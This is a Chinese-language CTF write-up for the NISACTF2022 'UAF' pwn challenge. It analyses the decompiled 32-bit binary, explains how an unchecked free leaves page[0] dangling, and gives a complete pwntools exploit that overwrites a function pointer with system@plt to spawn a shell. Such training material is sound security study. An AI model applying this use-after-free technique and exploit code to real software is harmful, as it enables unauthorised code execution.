题面
提供二进制文件
分析
checksec 查看保护:
1
2
3
4
5
6
7
8
|
❯ pwn checksec --file=pwn
[*] '/data/project/ctf-repo/pwn/nssctf/NISACTF2022_UAF/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
|
32 位程序。
ida 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
_DWORD v3[4]; // [esp+8h] [ebp-10h] BYREF
v3[1] = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
while ( 1 )
{
while ( 1 )
{
puts("1.create");
puts("2.edit");
puts("3.delete");
puts("4.show");
putchar(58);
__isoc99_scanf("%d", v3);
if ( v3[0] != 2 )
break;
edit();
}
if ( v3[0] > 2 )
{
if ( v3[0] == 3 )
{
del();
}
else if ( v3[0] == 4 )
{
show();
}
else
{
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3[0] != 1 )
goto LABEL_13;
create();
}
}
}
|
有 4 个函数。分别来看:
edit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
int create()
{
int result; // eax
int v1; // ebx
char *v2; // eax
printf("you are creating the %d page\n", i);
result = i;
if ( i >= 0 )
{
result = i;
if ( i <= 9 )
{
v1 = i;
(&page)[v1] = (char *)malloc(8u);
if ( i )
{
if ( i <= 0 || i > 9 )
{
return puts("NO PAGE");
}
else
{
puts("Good cretation!");
return ++i;
}
}
else
{
v2 = page;
*(_DWORD *)page = 'oaig';
v2[4] = 0;
*((_DWORD *)page + 1) = echo;
puts("The init page");
return ++i;
}
}
}
return result;
}
|
这里的 i 是在 bss 段下的变量:
1
2
3
|
.bss:0804A04C public i
.bss:0804A04C i dd ? ; DATA XREF: create+7↑r
.bss:0804A04C
|
用于计数创建的数量。
page 是 (char *) 类型的数组。
1
2
3
4
|
.bss:0804A060 public page
.bss:0804A060 ; char *page
.bss:0804A060 page dd ? ; DATA XREF: create+4B↑w
.bss:0804A060 ; create+5B↑r ...
|
存储 malloc 分配的地址。
这里 create 没有需要输入的地方,自动帮我们创建好了。page 只有 10 个(0~9),除了第一次创建,其他都是一段输出,i++。
第一次创建的时候:i = 0,首先会将分配的空间前4位写入 giao ,后 4 位写入 echo 函数的地址。
1
2
3
4
5
6
|
v2 = page;
*(_DWORD *)page = 'oaig';
v2[4] = 0;
*((_DWORD *)page + 1) = echo;
puts("The init page");
return ++i;
|
之后堆空间长这样:

0x804862b 就是 echo 函数的地址。
echo 函数如下:
1
2
3
4
|
int __cdecl echo(char *s)
{
return puts(s);
}
|
edit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
unsigned int edit()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0 || v1 > i )
{
puts("NO PAGE");
}
else
{
puts("Input your strings");
__isoc99_scanf("%s", (&page)[v1]);
}
return __readgsdword(0x14u) ^ v2;
}
|
编辑指定的 page。输入索引给 v1 ,下面有检查,索引范围为 1~i。
直接用 page 相对于 v1 的偏移来写入。
del
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
unsigned int del()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > i )
puts("NO PAGE");
else
free((&page)[v1]);
return __readgsdword(0x14u) ^ v2;
}
|
删除指定 page。这里用 free 对应的地址。但是没有做其他处理。i 也不会变化。
show
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
unsigned int show()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 )
{
if ( v1 <= 0 || v1 > i )
puts("NO PAGE");
else
echo((&page)[v1]);
}
else
{
(*((void (__cdecl **)(char *))page + 1))(page);
}
return __readgsdword(0x14u) ^ v2;
}
|
当 v1 不为零时输出指定内容,当 v1 为 0 调用一个函数指针:
1
|
(*((void (__cdecl **)(char *))page + 1))(page);
|
详细分析下该函数指针:
1
|
(void (__cdecl **)(char *))page + 1
|
这块是一个类型转换,将地址 page + 1 转换为一个返回值是 void,调用约定是 __cdecl,参数是一个 char * 的函数指针。
外面套上 *() 进行解引用取出这个位置存储的函数指针。后面 (page) 是参数。
这个参数也就是 page 的最开始。
也就是说,如果 show 选择了 0,就会调用这行代码,这个本意其实在最开始 create 函数的时候有说明:
1
2
3
4
5
6
|
v2 = page;
*(_DWORD *)page = 'oaig';
v2[4] = 0;
*((_DWORD *)page + 1) = echo;
puts("The init page");
return ++i;
|
本意应该是打印出 giao 的。
但是这给我们利用的机会。
除此之外,程序还有一个带有 system 的函数:
1
2
3
4
|
int __cdecl NICO(char *command)
{
return system(command);
}
|
利用
因为 edit 函数限制我们不能去修改 page[0] ,但是如果我们 create 之后 free 掉 0,因为 del 没有限制输入的范围,所以可以 free 掉 page[0] 之后再创建新的 page[1] 的时候,因为我们申请的内存大小是一样的,所以会获得 page[0] 的内存地址。 也就是 page[0] 和 page[1] 都指向同一块内存区域。
这时候 edit 就可以编辑 page[1] 也就是有函数指针的那块区域。
先将 4 个操作变成函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
def create():
io.recvuntil(b":")
io.sendline(b"1")
def edit(page_num, string):
io.recvuntil(b":")
io.sendline(b"2")
io.recvuntil(b"page\n")
io.sendline(f"{page_num}".encode())
io.recvuntil(b"strings\n")
io.sendline(string)
def delete(page_num):
io.recvuntil(b":")
io.sendline(b"3")
io.recvuntil(b"page")
io.sendline(f"{page_num}".encode())
def show(page_num):
io.recvuntil(b":")
io.sendline(b"4")
io.recvuntil(b"page")
io.sendline(f"{page_num}".encode())
|
要达到 UAF 需要:
1
2
3
|
create()
delete(0)
create()
|
此时,page[1] 和 page[0] 都指向同一块内存区域。
接下来写入 page[1] 构建 payload。
由上文可知,page 指向的内存空间是 8 字节。
而 *(page[0]) 可以是函数参数,一个字符串,而 *(page[0])+1 是函数地址。
这样就有构建一个参数为字符串函数的机会了。
我们可以构建出 system(sh)。
只需要:
1
|
payload = b"sh\x00\x00" + p32(system_plt)
|
sh后面的 \x00\x00 是补齐,然后后面写入 system 的 plt ,调用 system。
最后 show 0 调用函数指针就拿到 shell 了。
1
2
|
edit(1, payload)
show(0)
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
from pwn import *
context(log_level = "info")
io = process("./pwn")
#io = remote("node4.anna.nssctf.cn", 21470)
elf = ELF("./pwn")
def create():
io.recvuntil(b":")
io.sendline(b"1")
def edit(page_num, string):
io.recvuntil(b":")
io.sendline(b"2")
io.recvuntil(b"page\n")
io.sendline(f"{page_num}".encode())
io.recvuntil(b"strings\n")
io.sendline(string)
def delete(page_num):
io.recvuntil(b":")
io.sendline(b"3")
io.recvuntil(b"page")
io.sendline(f"{page_num}".encode())
def show(page_num):
io.recvuntil(b":")
io.sendline(b"4")
io.recvuntil(b"page")
io.sendline(f"{page_num}".encode())
system_plt = elf.plt["system"]
payload = b"sh\x00\x00" + p32(system_plt)
gdb.attach(io)
create()
delete(0)
create()
edit(1, payload)
show(0)
io.interactive()
|
第 2 道堆题,其实算是真正的第一道堆。